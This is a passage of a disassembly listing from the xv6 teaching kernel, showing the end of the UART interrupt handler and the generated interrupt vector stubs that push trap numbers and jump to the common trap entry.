bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105c20: 5d pop %ebp 80105c21: c3 ret 80105c22: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105c29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105c30 <uartintr>: void uartintr(void) { 80105c30: 55 push %ebp 80105c31: 89 e5 mov %esp,%ebp 80105c33: 83 ec 14 sub $0x14,%esp consoleintr(uartgetc); 80105c36: 68 c0 5a 10 80 push $0x80105ac0 80105c3b: e8 d0 ab ff ff call 80100810 <consoleintr> } 80105c40: 83 c4 10 add $0x10,%esp 80105c43: c9 leave 80105c44: c3 ret 80105c45 <vector0>: # generated by vectors.pl - do not edit # handlers .globl alltraps .globl vector0 vector0: pushl $0 80105c45: 6a 00 push $0x0 pushl $0 80105c47: 6a 00 push $0x0 jmp alltraps 80105c49: e9 1b fb ff ff jmp 80105769 <alltraps> 80105c4e <vector1>: .globl vector1 vector1: pushl $0 80105c4e: 6a 00 push $0x0 pushl $1 80105c50: 6a 01 push $0x1 jmp alltraps 80105c52: e9 12 fb ff ff jmp 80105769 <alltraps> 80105c57 <vector2>: .globl vector2 vector2: pushl $0 80105c57: 6a 00 push $0x0 pushl $2 80105c59: 6a 02 push $0x2 jmp alltraps 80105c5b: e9 09 fb ff ff jmp 80105769 <alltraps> 80105c60 <vector3>: .globl vector3 vector3: pushl $0 80105c60: 6a 00 push $0x0 pushl $3 80105c62: 6a 03 push $0x3 jmp alltraps 80105c64: e9 00 fb ff ff jmp 80105769 <alltraps> 80105c69 <vector4>: .globl vector4 vector4: pushl $0 80105c69: 6a 00 push $0x0 pushl $4 80105c6b: 6a 04 push $0x4 jmp alltraps 80105c6d: e9 f7 fa ff ff jmp 80105769 <alltraps> 80105c72 <vector5>: .globl vector5 vector5: pushl $0 80105c72: 6a 00 push $0x0 pushl $5 80105c74: 6a 05 push $0x5 jmp alltraps 80105c76: e9 ee fa ff ff jmp 80105769 <alltraps> 80105c7b <vector6>: .globl vector6 vector6: pushl $0 80105c7b: 6a 00 push $0x0 pushl $6 80105c7d: 6a 06 push $0x6 jmp alltraps 80105c7f: e9 e5 fa ff ff jmp 80105769 <alltraps> 80105c84 <vector7>: .globl vector7 vector7: pushl $0 80105c84: 6a 00 push $0x0 pushl $7 80105c86: 6a 07 push $0x7 jmp alltraps 80105c88: e9 dc fa ff ff jmp 80105769 <alltraps> 80105c8d <vector8>: .globl vector8 vector8: pushl $8 80105c8d: 6a 08 push $0x8 jmp alltraps 80105c8f: e9 d5 fa ff ff jmp 80105769 <alltraps> 80105c94 <vector9>: .globl vector9 vector9: pushl $0 80105c94: 6a 00 push $0x0 pushl $9 80105c96: 6a 09 push $0x9 jmp alltraps 80105c98: e9 cc fa ff ff jmp 80105769 <alltraps> 80105c9d <vector10>: .globl vector10 vector10: pushl $10 80105c9d: 6a 0a push $0xa jmp alltraps 80105c9f: e9 c5 fa ff ff jmp 80105769 <alltraps> 80105ca4 <vector11>: .globl vector11 vector11: pushl $11 80105ca4: 6a 0b push $0xb jmp alltraps 80105ca6: e9 be fa ff ff jmp 80105769 <alltraps> 80105cab <vector12>: .globl vector12 vector12: pushl $12 80105cab: 6a 0c push $0xc jmp alltraps 80105cad: e9 b7 fa ff ff jmp 80105769 <alltraps> 80105cb2 <vector13>: .globl vector13 vector13: pushl $13 80105cb2: 6a 0d push $0xd jmp alltraps 80105cb4: e9 b0 fa ff ff jmp 80105769 <alltraps> 80105cb9 <vector14>: .globl vector14 vector14: pushl $14 80105cb9: 6a 0e push $0xe jmp alltraps 80105cbb: e9 a9 fa ff ff jmp 80105769 <alltraps> 80105cc0 <vector15>: .globl vector15 vector15: pushl $0 80105cc0: 6a 00 push $0x0 pushl $15 80105cc2: 6a 0f push $0xf jmp alltraps 80105cc4: e9 a0 fa ff ff jmp 80105769 <alltraps> 80105cc9 <vector16>: .globl vector16 vector16: pushl $0 80105cc9: 6a 00 push $0x0 pushl $16 80105ccb: 6a 10 push $0x10 jmp alltraps 80105ccd: e9 97 fa ff ff jmp 80105769 <alltraps> 80105cd2 <vector17>: .globl vector17 vector17: pushl $17 80105cd2: 6a 11 push $0x11 jmp alltraps 80105cd4: e9 90 fa ff ff jmp 80105769 <alltraps> 80105cd9 <vector18>: .globl vector18 vector18: pushl $0 80105cd9: 6a 00 push $0x0 pushl $18 80105cdb: 6a 12 push $0x12 jmp alltraps 80105cdd: e9 87 fa ff ff jmp 80105769 <alltraps> 80105ce2 <vector19>: .globl vector19 vector19: pushl $0 80105ce2: 6a 00 push $0x0 pushl $19 80105ce4: 6a 13 push $0x13 jmp alltraps 80105ce6: e9 7e fa ff ff jmp 80105769 <alltraps> 80105ceb <vector20>: .globl vector20 vector20: pushl $0 80105ceb: 6a 00 push $0x0 pushl $20 80105ced: 6a 14 push $0x14 jmp alltraps 80105cef: e9 75 fa ff ff jmp 80105769 <alltraps> 80105cf4 <vector21>: .globl vector21 vector21: pushl $0 80105cf4: 6a 00 push $0x0 pushl $21 80105cf6: 6a 15 push $0x15 jmp alltraps 80105cf8: e9 6c fa ff ff jmp 80105769 <alltraps> 80105cfd <vector22>: .globl vector22 vector22: pushl $0 80105cfd: 6a 00 push $0x0 pushl $22 80105cff: 6a 16 push $0x16 jmp alltraps 80105d01: e9 63 fa ff ff jmp 80105769 <alltraps> 80105d06 <vector23>: .globl vector23 vector23: pushl $0 80105d06: 6a 00 push $0x0 pushl $23 80105d08: 6a 17 push $0x17 jmp alltraps 80105d0a: e9 5a fa ff ff jmp 80105769 <alltraps> 80105d0f <vector24>: .globl vector24 vector24: pushl $0 80105d0f: 6a 00 push $0x0 pushl $24 80105d11: 6a 18 push $0x18 jmp alltraps 80105d13: e9 51 fa ff ff jmp 80105769 <alltraps> 80105d18 <vector25>: .globl vector25 vector25: pushl $0 80105d18: 6a 00 push $0x0 pushl $25 80105d1a: 6a 19 push $0x19 jmp alltraps 80105d1c: e9 48 fa ff ff jmp 80105769 <alltraps> 80105d21 <vector26>: .globl vector26 vector26: pushl $0 80105d21: 6a 00 push $0x0 pushl $26 80105d23: 6a 1a push $0x1a jmp alltraps 80105d25: e9 3f fa ff ff jmp 80105769 <alltraps> 80105d2a <vector27>: .globl vector27 vector27: pushl $0 80105d2a: 6a 00 push $0x0 pushl $27 80105d2c: 6a 1b push $0x1b jmp alltraps 80105d2e: e9 36 fa ff ff jmp 80105769 <alltraps> 80105d33 <vector28>: .globl vector28 vector28: pushl $0 80105d33: 6a 00 push $0x0 pushl $28 80105d35: 6a 1c push $0x1c jmp alltraps 80105d37: e9 2d fa ff ff jmp 80105769 <alltraps> 80105d3c <vector29>: .globl vector29 vector29: pushl $0 80105d3c: 6a 00 push $0x0 pushl $29 80105d3e: 6a 1d push $0x1d jmp alltraps 80105d40: e9 24 fa ff ff jmp 80105769 <alltraps> 80105d45 <vector30>: .globl vector30 vector30: pushl $0 80105d45: 6a 00 push $0x0 pushl $30 80105d47: 6a 1e push $0x1e jmp alltraps 80105d49: e9 1b fa ff ff jmp 80105769 <alltraps> 80105d4e <vector31>: .globl vector31 vector31: pushl $0 80105d4e: 6a 00 push $0x0 pushl $31 80105d50: 6a 1f push $0x1f jmp alltraps 80105d52: e9 12 fa ff ff jmp 80105769 <alltraps> 80105d57 <vector32>: .globl vector32 vector32: pushl $0 80105d57: 6a 00 push $0x0 pushl $32 80105d59: 6a 20 push $0x20 jmp alltraps 80105d5b: e9 09 fa ff ff jmp 80105769 <alltraps> 80105d60 <vector33>: .globl vector33 vector33: pushl $0 80105d60: 6a 00 push $0x0 pushl $33 80105d62: 6a 21 push $0x21 jmp alltraps 80105d64: e9 00 fa ff ff jmp 80105769 <alltraps> 80105d69 <vector34>: .globl vector34 vector34: pushl $0 80105d69: 6a 00 push $0x0 pushl $34 80105d6b: 6a 22 push $0x22 jmp alltraps 80105d6d: e9 f7 f9 ff ff jmp 80105769 <alltraps> 80105d72 <vector35>: .globl vector35 vector35: pushl $0 80105d72: 6a 00 push $0x0 pushl $35 80105d74: 6a 23 push $0x23 jmp alltraps 80105d76: e9 ee f9 ff ff jmp 80105769 <alltraps> 80105d7b <vector36>: .globl vector36 vector36: pushl $0 80105d7b: 6a 00 push $0x0 pushl $36 80105d7d: 6a 24 push $0x24 jmp alltraps 80105d7f: e9 e5 f9 ff ff jmp 80105769 <alltraps> 80105d84 <vector37>: .globl vector37 vector37: pushl $0 80105d84: 6a 00 push $0x0 pushl $37 80105d86: 6a 25 push $0x25 jmp alltraps 80105d88: e9 dc f9 ff ff jmp 80105769 <alltraps> 80105d8d <vector38>: .globl vector38 vector38: pushl $0 80105d8d: 6a 00 push $0x0 pushl $38 80105d8f: 6a 26 push $0x26 jmp alltraps 80105d91: e9 d3 f9 ff ff jmp 80105769 <alltraps> 80105d96 <vector39>: .globl vector39 vector39: pushl $0 80105d96: 6a 00 push $0x0 pushl $39 80105d98: 6a 27 push $0x27 jmp alltraps 80105d9a: e9 ca f9 ff ff jmp 80105769 <alltraps> 80105d9f <vector40>: .globl vector40 vector40: pushl $0 80105d9f: 6a 00 push $0x0 pushl $40 80105da1: 6a 28 push $0x28 jmp alltraps 80105da3: e9 c1 f9 ff ff jmp 80105769 <alltraps> 80105da8 <vector41>: .globl vector41 vector41: pushl $0 80105da8: 6a 00 push $0x0 pushl $41 80105daa: 6a 29 push $0x29 jmp alltraps 80105dac: e9 b8 f9 ff ff jmp 80105769 <alltraps> 80105db1 <vector42>: .globl vector42 vector42: pushl $0 80105db1: 6a 00 push $0x0 pushl $42 80105db3: 6a 2a push $0x2a jmp alltraps 80105db5: e9 af f9 ff ff jmp 80105769 <alltraps> 80105dba <vector43>: .globl vector43 vector43: pushl $0 80105dba: 6a 00 push $0x0 pushl $43 80105dbc: 6a 2b push $0x2b jmp alltraps 80105dbe: e9 a6 f9 ff ff jmp 80105769 <alltraps> 80105dc3 <vector44>: .globl vector44 vector44: pushl $0 80105dc3: 6a 00 push $0x0 pushl $44 80105dc5: 6a 2c push $0x2c jmp alltraps 80105dc7: e9 9d f9 ff ff jmp 80105769 <alltraps> 80105dcc <vector45>: .globl vector45 vector45: pushl $0 80105dcc: 6a 00 push $0x0 pushl $45 80105dce: 6a 2d push $0x2d jmp alltraps 80105dd0: e9 94 f9 ff ff jmp 80105769 <alltraps> 80105dd5 <vector46>: .globl vector46 vector46: pushl $0 80105dd5: 6a 00 push $0x0 pushl $46 80105dd7: 6a 2e push $0x2e jmp alltraps 80105dd9: e9 8b f9 ff ff jmp 80105769 <alltraps> 80105dde <vector47>: .globl vector47 vector47: pushl $0 80105dde: 6a 00 push $0x0 pushl $47 80105de0: 6a 2f push $0x2f jmp alltraps 80105de2: e9 82 f9 ff ff jmp 80105769 <alltraps> 80105de7 <vector48>: .globl vector48 vector48: pushl $0 80105de7: 6a 00 push $0x0 pushl $48 80105de9: 6a 30 push $0x30 jmp alltraps 80105deb: e9 79 f9 ff ff jmp 80105769 <alltraps> 80105df0 <vector49>: .globl vector49 vector49: pushl $0 80105df0: 6a 00 push $0x0 pushl $49 80105df2: 6a 31 push $0x31 jmp alltraps 80105df4: e9 70 f9 ff ff jmp 80105769 <alltraps> 80105df9 <vector50>: .globl vector50 vector50: pushl $0 80105df9: 6a 00 push $0x0 pushl $50 80105dfb: 6a 32 push $0x32 jmp alltraps 80105dfd: e9 67 f9 ff ff jmp 80105769 <alltraps> 80105e02 <vector51>: .globl vector51 vector51: pushl $0 80105e02: 6a 00 push $0x0 pushl $51 80105e04: 6a 33 push $0x33 jmp alltraps 80105e06: e9 5e f9 ff ff jmp 80105769 <alltraps> 80105e0b <vector52>: .globl vector52 vector52: pushl $0 80105e0b: 6a 00 push $0x0 pushl $52 80105e0d: 6a 34 push $0x34 jmp alltraps 80105e0f: e9 55 f9 ff ff jmp 80105769 <alltraps> 80105e14 <vector53>: .globl vector53 vector53: pushl $0 80105e14: 6a 00 push $0x0 pushl $53 80105e16: 6a 35 push $0x35 jmp alltraps 80105e18: e9 4c f9 ff ff jmp 80105769 <alltraps> 80105e1d <vector54>: .globl vector54 vector54: pushl $0 80105e1d: 6a 00 push $0x0 pushl $54 80105e1f: 6a 36 push $0x36 jmp alltraps 80105e21: e9 43 f9 ff ff jmp 80105769 <alltraps> 80105e26 <vector55>: .globl vector55 vector55: pushl $0 80105e26: 6a 00 push $0x0 pushl $55 80105e28: 6a 37 push $0x37 jmp alltraps 80105e2a: e9 3a f9 ff ff jmp 80105769 <alltraps> 80105e2f <vector56>: .globl vector56 vector56: pushl $0 80105e2f: 6a 00 push $0x0 pushl $56 80105e31: 6a 38 push $0x38 jmp alltraps 80105e33: e9 31 f9 ff ff jmp 80105769 <alltraps> 80105e38 <vector57>: .globl vector57 vector57: pushl $0 80105e38: 6a 00 push $0x0 pushl $57 80105e3a: 6a 39 push $0x39 jmp alltraps 80105e3c: e9 28 f9 ff ff jmp 80105769 <alltraps> 80105e41 <vector58>: .globl vector58 vector58: pushl $0 80105e41: 6a 00 push $0x0 pushl $58 80105e43: 6a 3a push $0x3a jmp alltraps 80105e45: e9 1f f9 ff ff jmp 80105769 <alltraps> 80105e4a <vector59>: .globl vector59 vector59: pushl $0 80105e4a: 6a 00 push $0x0 pushl $59 80105e4c: 6a 3b push $0x3b jmp alltraps 80105e4e: e9 16 f9 ff ff jmp 80105769 <alltraps> 80105e53 <vector60>: .globl vector60 vector60: pushl $0 80105e53: 6a 00 push $0x0 pushl $60 80105e55: 6a 3c push $0x3c jmp alltraps 80105e57: e9 0d f9 ff ff jmp 80105769 <alltraps> 80105e5c <vector61>: .globl vector61 vector61: pushl $0 80105e5c: 6a 00 push $0x0 pushl $61 80105e5e: 6a 3d push $0x3d jmp alltraps 80105e60: e9 04 f9 ff ff jmp 80105769 <alltraps> 80105e65 <vector62>: .globl vector62 vector62: pushl $0 80105e65: 6a 00 push $0x0 pushl $62 80105e67: 6a 3e push $0x3e jmp alltraps 80105e69: e9 fb f8 ff ff jmp 80105769 <alltraps> 80105e6e <vector63>: .globl vector63 vector63: pushl $0 80105e6e: 6a 00 push $0x0 pushl $63 80105e70: 6a 3f push $0x3f jmp alltraps 80105e72: e9 f2 f8 ff ff jmp 80105769 <alltraps> 80105e77 <vector64>: .globl vector64 vector64: pushl $0 80105e77: 6a 00 push $0x0 pushl $64 80105e79: 6a 40 push $0x40 jmp alltraps 80105e7b: e9 e9 f8 ff ff jmp 80105769 <alltraps> 80105e80 <vector65>: .globl vector65 vector65: pushl $0 80105e80: 6a 00 push $0x0 pushl $65 80105e82: 6a 41 push $0x41 jmp alltraps 80105e84: e9 e0 f8 ff ff jmp 80105769 <alltraps> 80105e89 <vector66>: .globl vector66 vector66: pushl $0 80105e89: 6a 00 push $0x0 pushl $66 80105e8b: 6a 42 push $0x42 jmp alltraps 80105e8d: e9 d7 f8 ff ff jmp 80105769 <alltraps> 80105e92 <vector67>: .globl vector67 vector67: pushl $0 80105e92: 6a 00 push $0x0 pushl $67 80105e94: 6a 43 push $0x43 jmp alltraps 80105e96: e9 ce f8 ff ff jmp 80105769 <alltraps> 80105e9b <vector68>: .globl vector68 vector68: pushl $0 80105e9b: 6a 00 push $0x0 pushl $68 80105e9d: 6a 44 push $0x44 jmp alltraps 80105e9f: e9 c5 f8 ff ff jmp 80105769 <alltraps> 80105ea4 <vector69>: .globl vector69 vector69: pushl $0 80105ea4: 6a 00 push $0x0 pushl $69 80105ea6: 6a 45 push $0x45 jmp alltraps 80105ea8: e9 bc f8 ff ff jmp 80105769 <alltraps> 80105ead <vector70>: .globl vector70 vector70: pushl $0 80105ead: 6a 00 push $0x0 pushl $70 80105eaf: 6a 46 push $0x46 jmp alltraps 80105eb1: e9 b3 f8 ff ff jmp 80105769 <alltraps> 80105eb6 <vector71>: .globl vector71 vector71: pushl $0 80105eb6: 6a 00 push $0x0 pushl $71 80105eb8: 6a 47 push $0x47 jmp alltraps 80105eba: e9 aa f8 ff ff jmp 80105769 <alltraps> 80105ebf <vector72>: .globl vector72 vector72: pushl $0 80105ebf: 6a 00 push $0x0 pushl $72 80105ec1: 6a 48 push $0x48 jmp alltraps 80105ec3: e9 a1 f8 ff ff jmp 80105769 <alltraps> 80105ec8 <vector73>: .globl vector73 vector73: pushl $0 80105ec8: 6a 00 push $0x0 pushl $73 80105eca: 6a 49 push $0x49 jmp alltraps 80105ecc: e9 98 f8 ff ff jmp 80105769 <alltraps> 80105ed1 <vector74>: .globl vector74 vector74: pushl $0 80105ed1: 6a 00 push $0x0 pushl $74 80105ed3: 6a 4a push $0x4a jmp alltraps 80105ed5: e9 8f f8 ff ff jmp 80105769 <alltraps> 80105eda <vector75>: .globl vector75 vector75: pushl $0 80105eda: 6a 00 push $0x0 pushl $75 80105edc: 6a 4b push $0x4b jmp alltraps 80105ede: e9 86 f8 ff ff jmp 80105769 <alltraps> 80105ee3 <vector76>: .globl vector76 vector76: pushl $0 80105ee3: 6a 00 push $0x0 pushl $76 80105ee5: 6a 4c push $0x4c jmp alltraps 80105ee7: e9 7d f8 ff ff jmp 80105769 <alltraps> 80105eec <vector77>: .globl vector77 vector77: pushl $0 80105eec: 6a 00 push $0x0 pushl $77 80105eee: 6a 4d push $0x4d jmp alltraps 80105ef0: e9 74 f8 ff ff jmp 80105769 <alltraps> 80105ef5 <vector78>: .globl vector78 vector78: pushl $0 80105ef5: 6a 00 push $0x0 pushl $78 80105ef7: 6a 4e push $0x4e jmp alltraps 80105ef9: e9 6b f8 ff ff jmp 80105769 <alltraps> 80105efe <vector79>: .globl vector79 vector79: pushl $0 80105efe: 6a 00 push $0x0 pushl $79 80105f00: 6a 4f push $0x4f jmp alltraps 80105f02: e9 62 f8 ff ff jmp 80105769 <alltraps> 80105f07 <vector80>: .globl vector80 vector80: pushl $0 80105f07: 6a 00 push $0x0 pushl $80 80105f09: 6a 50 push $0x50 jmp alltraps 80105f0b: e9 59 f8 ff ff jmp 80105769 <alltraps> 80105f10 <vector81>: .globl vector81 vector81: pushl $0 80105f10: 6a 00 push $0x0 pushl $81 80105f12: 6a 51 push $0x51 jmp alltraps 80105f14: e9 50 f8 ff ff jmp 80105769 <alltraps> 80105f19 <vector82>: .globl vector82 vector82: pushl $0 80105f19: 6a 00 push $0x0 pushl $82 80105f1b: 6a 52 push $0x52 jmp alltraps 80105f1d: e9 47 f8 ff ff jmp 80105769 <alltraps> 80105f22 <vector83>: .globl vector83 vector83: pushl $0 80105f22: 6a 00 push $0x0 pushl $83 80105f24: 6a 53 push $0x53 jmp alltraps 80105f26: e9 3e f8 ff ff jmp 80105769 <alltraps> 80105f2b <vector84>: .globl vector84 vector84: pushl $0 80105f2b: 6a 00 push $0x0 pushl $84 80105f2d: 6a 54 push $0x54 jmp alltraps 80105f2f: e9 35 f8 ff ff jmp 80105769 <alltraps> 80105f34 <vector85>: .globl vector85 vector85: pushl $0 80105f34: 6a 00 push $0x0 pushl $85 80105f36: 6a 55 push $0x55 jmp alltraps 80105f38: e9 2c f8 ff ff jmp 80105769 <alltraps> 80105f3d <vector86>: .globl vector86 vector86: pushl $0 80105f3d: 6a 00 push $0x0 pushl $86 80105f3f: 6a 56 push $0x56 jmp alltraps 80105f41: e9 23 f8 ff ff jmp 80105769 <alltraps> 80105f46 <vector87>: .globl vector87 vector87: pushl $0 80105f46: 6a 00 push $0x0 pushl $87 80105f48: 6a 57 push $0x57 jmp alltraps 80105f4a: e9 1a f8 ff ff jmp 80105769 <alltraps> 80105f4f <vector88>: .globl vector88 vector88: pushl $0 80105f4f: 6a 00 push $0x0 pushl $88 80105f51: 6a 58 push $0x58 jmp alltraps 80105f53: e9 11 f8 ff ff jmp 80105769 <alltraps> 80105f58 <vector89>: .globl vector89 vector89: pushl $0 80105f58: 6a 00 push $0x0 pushl $89 80105f5a: 6a 59 push $0x59 jmp alltraps 80105f5c: e9 08 f8 ff ff jmp 80105769 <alltraps> 80105f61 <vector90>: .globl vector90 vector90: pushl $0 80105f61: 6a 00 push $0x0 pushl $90 80105f63: 6a 5a push $0x5a jmp alltraps 80105f65: e9 ff f7 ff ff jmp 80105769 <alltraps> 80105f6a <vector91>: .globl vector91 vector91: pushl $0 80105f6a: 6a 00 push $0x0 pushl $91 80105f6c: 6a 5b push $0x5b jmp alltraps 80105f6e: e9 f6 f7 ff ff jmp 80105769 <alltraps> 80105f73 <vector92>: .globl vector92 vector92: pushl $0 80105f73: 6a 00 push $0x0 pushl $92 80105f75: 6a 5c push $0x5c jmp alltraps 80105f77: e9 ed f7 ff ff jmp 80105769 <alltraps> 80105f7c <vector93>: .globl vector93 vector93: pushl $0 80105f7c: 6a 00 push $0x0 pushl $93 80105f7e: 6a 5d push $0x5d jmp alltraps 80105f80: e9 e4 f7 ff ff jmp 80105769 <alltraps> 80105f85 <vector94>: .globl vector94 vector94: pushl $0 80105f85: 6a 00 push $0x0 pushl $94 80105f87: 6a 5e push $0x5e jmp alltraps 80105f89: e9 db f7 ff ff jmp 80105769 <alltraps> 80105f8e <vector95>: .globl vector95 vector95: pushl $0 80105f8e: 6a 00 push $0x0 pushl $95 80105f90: 6a 5f push $0x5f jmp alltraps 80105f92: e9 d2 f7 ff ff jmp 80105769 <alltraps> 80105f97 <vector96>: .globl vector96 vector96: pushl $0 80105f97: 6a 00 push $0x0 pushl $96 80105f99: 6a 60 push $0x60 jmp alltraps 80105f9b: e9 c9 f7 ff ff jmp 80105769 <alltraps> 80105fa0 <vector97>: .globl vector97 vector97: pushl $0 80105fa0: 6a 00 push $0x0 pushl $97 80105fa2: 6a 61 push $0x61 jmp alltraps 80105fa4: e9 c0 f7 ff ff jmp 80105769 <alltraps> 80105fa9 <vector98>: .globl vector98 vector98: pushl $0 80105fa9: 6a 00 push $0x0 pushl $98 80105fab: 6a 62 push $0x62 jmp alltraps 80105fad: e9 b7 f7 ff ff jmp 80105769 <alltraps> 80105fb2 <vector99>: .globl vector99 vector99: pushl $0 80105fb2: 6a 00 push $0x0 pushl $99 80105fb4: 6a 63 push $0x63 jmp alltraps 80105fb6: e9 ae f7 ff ff jmp 80105769 <alltraps> 80105fbb <vector100>: .globl vector100 vector100: pushl $0 80105fbb: 6a 00 push $0x0 pushl $100 80105fbd: 6a 64 push $0x64 jmp alltraps 80105fbf: e9 a5 f7 ff ff jmp 80105769 <alltraps> 80105fc4 <vector101>: .globl vector101 vector101: pushl $0 80105fc4: 6a 00 push $0x0 pushl $101 80105fc6: 6a 65 push $0x65 jmp alltraps 80105fc8: e9 9c f7 ff ff jmp 80105769 <alltraps> 80105fcd <vector102>: .globl vector102 vector102: pushl $0 80105fcd: 6a 00 push $0x0 pushl $102 80105fcf: 6a 66 push $0x66 jmp alltraps 80105fd1: e9 93 f7 ff ff jmp 80105769 <alltraps> 80105fd6 <vector103>: .globl vector103 vector103: pushl $0 80105fd6: 6a 00 push $0x0 pushl $103 80105fd8: 6a 67 push $0x67 jmp alltraps 80105fda: e9 8a f7 ff ff jmp 80105769 <alltraps> 80105fdf <vector104>: .globl vector104 vector104: pushl $0 80105fdf: 6a 00 push $0x0 pushl $104 80105fe1: 6a 68 push $0x68 jmp alltraps 80105fe3: e9 81 f7 ff ff jmp 80105769 <alltraps> 80105fe8 <vector105>: .globl vector105 vector105: pushl $0 80105fe8: 6a 00 push $0x0 pushl $105 80105fea: 6a 69 push $0x69 jmp alltraps 80105fec: e9 78 f7 ff ff jmp 80105769 <alltraps> 80105ff1 <vector106>: .globl vector106 vector106: pushl $0 80105ff1: 6a 00 push $0x0 pushl $106 80105ff3: 6a 6a push $0x6a jmp alltraps 80105ff5: e9 6f f7 ff ff jmp 80105769 <alltraps> 80105ffa <vector107>: .globl vector107 vector107: pushl $0 80105ffa: 6a 00 push $0x0 pushl $107 80105ffc: 6a 6b push $0x6b jmp alltraps 80105ffe: e9 66 f7 ff ff jmp 80105769 <alltraps> 80106003 <vector108>: .globl vector108 vector108: pushl $0 80106003: 6a 00 push $0x0 pushl $108 80106005: 6a 6c push $0x6c jmp alltraps 80106007: e9 5d f7 ff ff jmp 80105769 <alltraps> 8010600c <vector109>: .globl vector109 vector109: pushl $0 8010600c: 6a 00 push $0x0 pushl $109 8010600e: 6a 6d push $0x6d jmp alltraps 80106010: e9 54 f7 ff ff jmp 80105769 <alltraps> 80106015 <vector110>: .globl vector110 vector110: pushl $0 80106015: 6a 00 push $0x0 pushl $110 80106017: 6a 6e push $0x6e jmp alltraps 80106019: e9 4b f7 ff ff jmp 80105769 <alltraps> 8010601e <vector111>: .globl vector111 vector111: pushl $0 8010601e: 6a 00 push $0x0 pushl $111 80106020: 6a 6f push $0x6f jmp alltraps 80106022: e9 42 f7 ff ff jmp 80105769 <alltraps> 80106027 <vector112>: .globl vector112 vector112: pushl $0 80106027: 6a 00 push $0x0 pushl $112 80106029: 6a 70 push $0x70 jmp alltraps 8010602b: e9 39 f7 ff ff jmp 80105769 <alltraps> 80106030 <vector113>: .globl vector113 vector113: pushl $0 80106030: 6a 00 push $0x0 pushl $113 80106032: 6a 71 push $0x71 jmp alltraps 80106034: e9 30 f7 ff ff jmp 80105769 <alltraps> 80106039 <vector114>: .globl vector114 vector114: pushl $0 80106039: 6a 00 push $0x0 pushl $114 8010603b: 6a 72 push $0x72 jmp alltraps 8010603d: e9 27 f7 ff ff jmp 80105769 <alltraps> 80106042 <vector115>: .globl vector115 vector115: pushl $0 80106042: 6a 00 push $0x0 pushl $115 80106044: 6a 73 push $0x73 jmp alltraps 80106046: e9 1e f7 ff ff jmp 80105769 <alltraps> 8010604b <vector116>: .globl vector116 vector116: pushl $0 8010604b: 6a 00 push $0x0 pushl $116 8010604d: 6a 74 push $0x74 jmp alltraps 8010604f: e9 15 f7 ff ff jmp 80105769 <alltraps> 80106054 <vector117>: .globl vector117 vector117: pushl $0 80106054: 6a 00 push $0x0 pushl $117 80106056: 6a 75 push $0x75 jmp alltraps 80106058: e9 0c f7 ff ff jmp 80105769 <alltraps> 8010605d <vector118>: .globl vector118 vector118: pushl $0 8010605d: 6a 00 push $0x0 pushl $118 8010605f: 6a 76 push $0x76 jmp alltraps 80106061: e9 03 f7 ff ff jmp 80105769 <alltraps> 80106066 <vector119>: .globl vector119 vector119: pushl $0 80106066: 6a 00 push $0x0 pushl $119 80106068: 6a 77 push $0x77 jmp alltraps 8010606a: e9 fa f6 ff ff jmp 80105769 <alltraps> 8010606f <vector120>: .globl vector120 vector120: pushl $0 8010606f: 6a 00 push $0x0 pushl $120 80106071: 6a 78 push $0x78 jmp alltraps 80106073: e9 f1 f6 ff ff jmp 80105769 <alltraps> 80106078 <vector121>: .globl vector121 vector121: pushl $0 80106078: 6a 00 push $0x0 pushl $121 8010607a: 6a 79 push $0x79 jmp alltraps 8010607c: e9 e8 f6 ff ff jmp 80105769 <alltraps> 80106081 <vector122>: .globl vector122 vector122: pushl $0 80106081: 6a 00 push $0x0 pushl $122 80106083: 6a 7a push $0x7a jmp alltraps 80106085: e9 df f6 ff ff jmp 80105769 <alltraps> 8010608a <vector123>: .globl vector123 vector123: pushl $0 8010608a: 6a 00 push $0x0 pushl $123 8010608c: 6a 7b push $0x7b jmp alltraps 8010608e: e9 d6 f6 ff ff jmp 80105769 <alltraps> 80106093 <vector124>: .globl vector124 vector124: pushl $0 80106093: 6a 00 push $0x0 pushl $124 80106095: 6a 7c push $0x7c jmp alltraps 80106097: e9 cd f6 ff ff jmp 80105769 <alltraps> 8010609c <vector125>: .globl vector125 vector125: pushl $0 8010609c: 6a 00 push $0x0 pushl $125 8010609e: 6a 7d push $0x7d jmp alltraps 801060a0: e9 c4 f6 ff ff jmp 80105769 <alltraps> 801060a5 <vector126>: .globl vector126 vector126: pushl $0 801060a5: 6a 00 push $0x0 pushl $126 801060a7: 6a 7e push $0x7e jmp alltraps 801060a9: e9 bb f6 ff ff jmp 80105769 <alltraps> 801060ae <vector127>: .globl vector127 vector127: pushl $0 801060ae: 6a 00 push $0x0 pushl $127 801060b0: 6a 7f push $0x7f jmp alltraps 801060b2: e9 b2 f6 ff ff jmp 80105769 <alltraps> 801060b7 <vector128>: .globl vector128 vector128: pushl $0 801060b7: 6a 00 push $0x0 pushl $128 801060b9: 68 80 00 00 00 push $0x80 jmp alltraps 801060be: e9 a6 f6 ff ff jmp 80105769 <alltraps> 801060c3 <vector129>: .globl vector129 vector129: pushl $0 801060c3: 6a 00 push $0x0 pushl $129 801060c5: 68 81 00 00 00 push $0x81 jmp alltraps 801060ca: e9 9a f6 ff ff jmp 80105769 <alltraps> 801060cf <vector130>: .globl vector130 vector130: pushl $0 801060cf: 6a 00 push $0x0 pushl $130 801060d1: 68 82 00 00 00 push $0x82 jmp alltraps 801060d6: e9 8e f6 ff ff jmp 80105769 <alltraps> 801060db <vector131>: .globl vector131 vector131: pushl $0 801060db: 6a 00 push $0x0 pushl $131 801060dd: 68 83 00 00 00 push $0x83 jmp alltraps 801060e2: e9 82 f6 ff ff jmp 80105769 <alltraps> 801060e7 <vector132>: .globl vector132 vector132: pushl $0 801060e7: 6a 00 push $0x0 pushl $132 801060e9: 68 84 00 00 00 push $0x84 jmp alltraps 801060ee: e9 76 f6 ff ff jmp 80105769 <alltraps> 801060f3 <vector133>: .globl vector133 vector133: pushl $0 801060f3: 6a 00 push $0x0 pushl $133 801060f5: 68 85 00 00 00 push $0x85 jmp alltraps 801060fa: e9 6a f6 ff ff jmp 80105769 <alltraps> 801060ff <vector134>: .globl vector134 vector134: pushl $0 801060ff: 6a 00 push $0x0 pushl $134 80106101: 68 86 00 00 00 push $0x86 jmp alltraps 80106106: e9 5e f6 ff ff jmp 80105769 <alltraps> 8010610b <vector135>: .globl vector135 vector135: pushl $0 8010610b: 6a 00 push $0x0 pushl $135 8010610d: 68 87 00 00 00 push 